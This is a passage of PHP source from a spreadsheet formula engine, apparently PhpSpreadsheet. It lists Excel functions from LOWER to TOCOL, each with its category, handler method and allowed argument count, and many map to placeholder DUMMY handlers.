'functionCall' => [TextData\CaseConvert::class, 'lower'], 'argumentCount' => '1', ], 'MAKEARRAY' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '*', ], 'MAP' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '*', ], 'MATCH' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\ExcelMatch::class, 'MATCH'], 'argumentCount' => '2,3', ], 'MAX' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Maximum::class, 'max'], 'argumentCount' => '1+', ], 'MAXA' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Maximum::class, 'maxA'], 'argumentCount' => '1+', ], 'MAXIFS' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Conditional::class, 'MAXIFS'], 'argumentCount' => '3+', ], 'MDETERM' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\MatrixFunctions::class, 'determinant'], 'argumentCount' => '1', ], 'MDURATION' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '5,6', ], 'MEDIAN' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Averages::class, 'median'], 'argumentCount' => '1+', ], 'MEDIANIF' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2+', ], 'MID' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Extract::class, 'mid'], 'argumentCount' => '3', ], 'MIDB' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Extract::class, 'mid'], 'argumentCount' => '3', ], 'MIN' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Minimum::class, 'min'], 'argumentCount' => '1+', ], 'MINA' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Minimum::class, 'minA'], 'argumentCount' => '1+', ], 'MINIFS' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Conditional::class, 'MINIFS'], 'argumentCount' => '3+', ], 'MINUTE' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\TimeParts::class, 'minute'], 'argumentCount' => '1', ], 'MINVERSE' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\MatrixFunctions::class, 'inverse'], 'argumentCount' => '1', ], 'MIRR' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Variable\Periodic::class, 'modifiedRate'], 'argumentCount' => '3', ], 'MMULT' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\MatrixFunctions::class, 'multiply'], 'argumentCount' => '2', ], 'MOD' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Operations::class, 'mod'], 'argumentCount' => '2', ], 'MODE' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Averages::class, 'mode'], 'argumentCount' => '1+', ], 'MODE.MULT' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1+', ], 'MODE.SNGL' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Averages::class, 'mode'], 'argumentCount' => '1+', ], 'MONTH' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\DateParts::class, 'month'], 'argumentCount' => '1', ], 'MROUND' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Round::class, 'multiple'], 'argumentCount' => '2', ], 'MULTINOMIAL' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Factorial::class, 'multinomial'], 'argumentCount' => '1+', ], 'MUNIT' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\MatrixFunctions::class, 'identity'], 'argumentCount' => '1', ], 'N' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Information\Value::class, 'asNumber'], 'argumentCount' => '1', ], 'NA' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [ExcelError::class, 'NA'], 'argumentCount' => '0', ], 'NEGBINOMDIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Binomial::class, 'negative'], 'argumentCount' => '3', ], 'NEGBINOM.DIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '4', ], 'NETWORKDAYS' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\NetworkDays::class, 'count'], 'argumentCount' => '2-3', ], 'NETWORKDAYS.INTL' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2-4', ], 'NOMINAL' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\InterestRate::class, 'nominal'], 'argumentCount' => '2', ], 'NORMDIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Normal::class, 'distribution'], 'argumentCount' => '4', ], 'NORM.DIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Normal::class, 'distribution'], 'argumentCount' => '4', ], 'NORMINV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Normal::class, 'inverse'], 'argumentCount' => '3', ], 'NORM.INV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Normal::class, 'inverse'], 'argumentCount' => '3', ], 'NORMSDIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\StandardNormal::class, 'cumulative'], 'argumentCount' => '1', ], 'NORM.S.DIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\StandardNormal::class, 'distribution'], 'argumentCount' => '1,2', ], 'NORMSINV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\StandardNormal::class, 'inverse'], 'argumentCount' => '1', ], 'NORM.S.INV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\StandardNormal::class, 'inverse'], 'argumentCount' => '1', ], 'NOT' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Logical\Operations::class, 'NOT'], 'argumentCount' => '1', ], 'NOW' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\Current::class, 'now'], 'argumentCount' => '0', ], 'NPER' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Constant\Periodic::class, 'periods'], 'argumentCount' => '3-5', ], 'NPV' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Variable\Periodic::class, 'presentValue'], 'argumentCount' => '2+', ], 'NUMBERSTRING' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'NUMBERVALUE' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Format::class, 'NUMBERVALUE'], 'argumentCount' => '1+', ], 'OCT2BIN' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ConvertOctal::class, 'toBinary'], 'argumentCount' => '1,2', ], 'OCT2DEC' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ConvertOctal::class, 'toDecimal'], 'argumentCount' => '1', ], 'OCT2HEX' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ConvertOctal::class, 'toHex'], 'argumentCount' => '1,2', ], 'ODD' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Round::class, 'odd'], 'argumentCount' => '1', ], 'ODDFPRICE' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '8,9', ], 'ODDFYIELD' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '8,9', ], 'ODDLPRICE' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '7,8', ], 'ODDLYIELD' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '7,8', ], 'OFFSET' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\Offset::class, 'OFFSET'], 'argumentCount' => '3-5', 'passCellReference' => true, 'passByReference' => [true], ], 'OR' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Logical\Operations::class, 'logicalOr'], 'argumentCount' => '1+', ], 'PDURATION' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Single::class, 'periods'], 'argumentCount' => '3', ], 'PEARSON' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Trends::class, 'CORREL'], 'argumentCount' => '2', ], 'PERCENTILE' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Percentiles::class, 'PERCENTILE'], 'argumentCount' => '2', ], 'PERCENTILE.EXC' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2', ], 'PERCENTILE.INC' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Percentiles::class, 'PERCENTILE'], 'argumentCount' => '2', ], 'PERCENTRANK' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Percentiles::class, 'PERCENTRANK'], 'argumentCount' => '2,3', ], 'PERCENTRANK.EXC' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2,3', ], 'PERCENTRANK.INC' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Percentiles::class, 'PERCENTRANK'], 'argumentCount' => '2,3', ], 'PERMUT' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Permutations::class, 'PERMUT'], 'argumentCount' => '2', ], 'PERMUTATIONA' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Permutations::class, 'PERMUTATIONA'], 'argumentCount' => '2', ], 'PHONETIC' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1', ], 'PHI' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1', ], 'PI' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'pi', 'argumentCount' => '0', ], 'PMT' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Constant\Periodic\Payments::class, 'annuity'], 'argumentCount' => '3-5', ], 'POISSON' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Poisson::class, 'distribution'], 'argumentCount' => '3', ], 'POISSON.DIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Poisson::class, 'distribution'], 'argumentCount' => '3', ], 'POWER' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Operations::class, 'power'], 'argumentCount' => '2', ], 'PPMT' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Constant\Periodic\Payments::class, 'interestPayment'], 'argumentCount' => '4-6', ], 'PRICE' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Securities\Price::class, 'price'], 'argumentCount' => '6,7', ], 'PRICEDISC' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Securities\Price::class, 'priceDiscounted'], 'argumentCount' => '4,5', ], 'PRICEMAT' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Securities\Price::class, 'priceAtMaturity'], 'argumentCount' => '5,6', ], 'PROB' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '3,4', ], 'PRODUCT' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Operations::class, 'product'], 'argumentCount' => '1+', ], 'PROPER' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\CaseConvert::class, 'proper'], 'argumentCount' => '1', ], 'PV' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Constant\Periodic::class, 'presentValue'], 'argumentCount' => '3-5', ], 'QUARTILE' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Percentiles::class, 'QUARTILE'], 'argumentCount' => '2', ], 'QUARTILE.EXC' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2', ], 'QUARTILE.INC' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Percentiles::class, 'QUARTILE'], 'argumentCount' => '2', ], 'QUOTIENT' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Operations::class, 'quotient'], 'argumentCount' => '2', ], 'RADIANS' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Angle::class, 'toRadians'], 'argumentCount' => '1', ], 'RAND' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Random::class, 'rand'], 'argumentCount' => '0', ], 'RANDARRAY' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Random::class, 'randArray'], 'argumentCount' => '0-5', ], 'RANDBETWEEN' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Random::class, 'randBetween'], 'argumentCount' => '2', ], 'RANK' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Percentiles::class, 'RANK'], 'argumentCount' => '2,3', ], 'RANK.AVG' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2,3', ], 'RANK.EQ' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Percentiles::class, 'RANK'], 'argumentCount' => '2,3', ], 'RATE' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Constant\Periodic\Interest::class, 'rate'], 'argumentCount' => '3-6', ], 'RECEIVED' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Securities\Price::class, 'received'], 'argumentCount' => '4-5', ], 'REDUCE' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '*', ], 'REPLACE' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Replace::class, 'replace'], 'argumentCount' => '4', ], 'REPLACEB' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Replace::class, 'replace'], 'argumentCount' => '4', ], 'REPT' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Concatenate::class, 'builtinREPT'], 'argumentCount' => '2', ], 'RIGHT' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Extract::class, 'right'], 'argumentCount' => '1,2', ], 'RIGHTB' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Extract::class, 'right'], 'argumentCount' => '1,2', ], 'ROMAN' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Roman::class, 'evaluate'], 'argumentCount' => '1,2', ], 'ROUND' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Round::class, 'round'], 'argumentCount' => '2', ], 'ROUNDBAHTDOWN' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'ROUNDBAHTUP' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'ROUNDDOWN' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Round::class, 'down'], 'argumentCount' => '2', ], 'ROUNDUP' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Round::class, 'up'], 'argumentCount' => '2', ], 'ROW' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\RowColumnInformation::class, 'ROW'], 'argumentCount' => '-1', 'passCellReference' => true, 'passByReference' => [true], ], 'ROWS' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\RowColumnInformation::class, 'ROWS'], 'argumentCount' => '1', ], 'RRI' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Single::class, 'interestRate'], 'argumentCount' => '3', ], 'RSQ' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Trends::class, 'RSQ'], 'argumentCount' => '2', ], 'RTD' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1+', ], 'SEARCH' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Search::class, 'insensitive'], 'argumentCount' => '2,3', ], 'SCAN' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '*', ], 'SEARCHB' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Search::class, 'insensitive'], 'argumentCount' => '2,3', ], 'SEC' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Secant::class, 'sec'], 'argumentCount' => '1', ], 'SECH' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Secant::class, 'sech'], 'argumentCount' => '1', ], 'SECOND' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\TimeParts::class, 'second'], 'argumentCount' => '1', ], 'SEQUENCE' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\MatrixFunctions::class, 'sequence'], 'argumentCount' => '1-4', ], 'SERIESSUM' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\SeriesSum::class, 'evaluate'], 'argumentCount' => '4', ], 'SHEET' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '0,1', ], 'SHEETS' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '0,1', ], 'SIGN' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Sign::class, 'evaluate'], 'argumentCount' => '1', ], 'SIN' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Sine::class, 'sin'], 'argumentCount' => '1', ], 'SINGLE' => [ 'category' => Category::CATEGORY_UNCATEGORISED, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '*', ], 'SINH' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Sine::class, 'sinh'], 'argumentCount' => '1', ], 'SKEW' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Deviations::class, 'skew'], 'argumentCount' => '1+', ], 'SKEW.P' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1+', ], 'SLN' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Depreciation::class, 'SLN'], 'argumentCount' => '3', ], 'SLOPE' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Trends::class, 'SLOPE'], 'argumentCount' => '2', ], 'SMALL' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Size::class, 'small'], 'argumentCount' => '2', ], 'SORT' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\Sort::class, 'sort'], 'argumentCount' => '1-4', ], 'SORTBY' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\Sort::class, 'sortBy'], 'argumentCount' => '2+', ], 'SQRT' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Sqrt::class, 'sqrt'], 'argumentCount' => '1', ], 'SQRTPI' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Sqrt::class, 'pi'], 'argumentCount' => '1', ], 'STANDARDIZE' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Standardize::class, 'execute'], 'argumentCount' => '3', ], 'STDEV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\StandardDeviations::class, 'STDEV'], 'argumentCount' => '1+', ], 'STDEV.S' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\StandardDeviations::class, 'STDEV'], 'argumentCount' => '1+', ], 'STDEV.P' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\StandardDeviations::class, 'STDEVP'], 'argumentCount' => '1+', ], 'STDEVA' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\StandardDeviations::class, 'STDEVA'], 'argumentCount' => '1+', ], 'STDEVP' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\StandardDeviations::class, 'STDEVP'], 'argumentCount' => '1+', ], 'STDEVPA' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\StandardDeviations::class, 'STDEVPA'], 'argumentCount' => '1+', ], 'STEYX' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Trends::class, 'STEYX'], 'argumentCount' => '2', ], 'SUBSTITUTE' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Replace::class, 'substitute'], 'argumentCount' => '3,4', ], 'SUBTOTAL' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Subtotal::class, 'evaluate'], 'argumentCount' => '2+', 'passCellReference' => true, ], 'SUM' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Sum::class, 'sumErroringStrings'], 'argumentCount' => '1+', ], 'SUMIF' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Statistical\Conditional::class, 'SUMIF'], 'argumentCount' => '2,3', ], 'SUMIFS' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Statistical\Conditional::class, 'SUMIFS'], 'argumentCount' => '3+', ], 'SUMPRODUCT' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Sum::class, 'product'], 'argumentCount' => '1+', ], 'SUMSQ' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\SumSquares::class, 'sumSquare'], 'argumentCount' => '1+', ], 'SUMX2MY2' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\SumSquares::class, 'sumXSquaredMinusYSquared'], 'argumentCount' => '2', ], 'SUMX2PY2' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\SumSquares::class, 'sumXSquaredPlusYSquared'], 'argumentCount' => '2', ], 'SUMXMY2' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\SumSquares::class, 'sumXMinusYSquared'], 'argumentCount' => '2', ], 'SWITCH' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Logical\Conditional::class, 'statementSwitch'], 'argumentCount' => '3+', ], 'SYD' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Depreciation::class, 'SYD'], 'argumentCount' => '4', ], 'T' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Text::class, 'test'], 'argumentCount' => '1', ], 'TAKE' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2-3', ], 'TAN' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Tangent::class, 'tan'], 'argumentCount' => '1', ], 'TANH' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Tangent::class, 'tanh'], 'argumentCount' => '1', ], 'TBILLEQ' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\TreasuryBill::class, 'bondEquivalentYield'], 'argumentCount' => '3', ], 'TBILLPRICE' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\TreasuryBill::class, 'price'], 'argumentCount' => '3', ], 'TBILLYIELD' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\TreasuryBill::class, 'yield'], 'argumentCount' => '3', ], 'TDIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\StudentT::class, 'distribution'], 'argumentCount' => '3', ], 'T.DIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '3', ], 'T.DIST.2T' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2', ], 'T.DIST.RT' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2', ], 'TEXT' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Format::class, 'TEXTFORMAT'], 'argumentCount' => '2', ], 'TEXTAFTER' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Extract::class, 'after'], 'argumentCount' => '2-6', ], 'TEXTBEFORE' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Extract::class, 'before'], 'argumentCount' => '2-6', ], 'TEXTJOIN' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Concatenate::class, 'TEXTJOIN'], 'argumentCount' => '3+', ], 'TEXTSPLIT' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Text::class, 'split'], 'argumentCount' => '2-6', ], 'THAIDAYOFWEEK' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'THAIDIGIT' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'THAIMONTHOFYEAR' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'THAINUMSOUND' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'THAINUMSTRING' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'THAISTRINGLENGTH' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'THAIYEAR' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '?', ], 'TIME' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\Time::class, 'fromHMS'], 'argumentCount' => '3', ], 'TIMEVALUE' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\TimeValue::class, 'fromString'], 'argumentCount' => '1', ], 'TINV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\StudentT::class, 'inverse'], 'argumentCount' => '2', ], 'T.INV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\StudentT::class, 'inverse'], 'argumentCount' => '2', ], 'T.INV.2T' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2', ], 'TODAY' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\Current::class, 'today'], 'argumentCount' => '0', ], 'TOCOL' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => 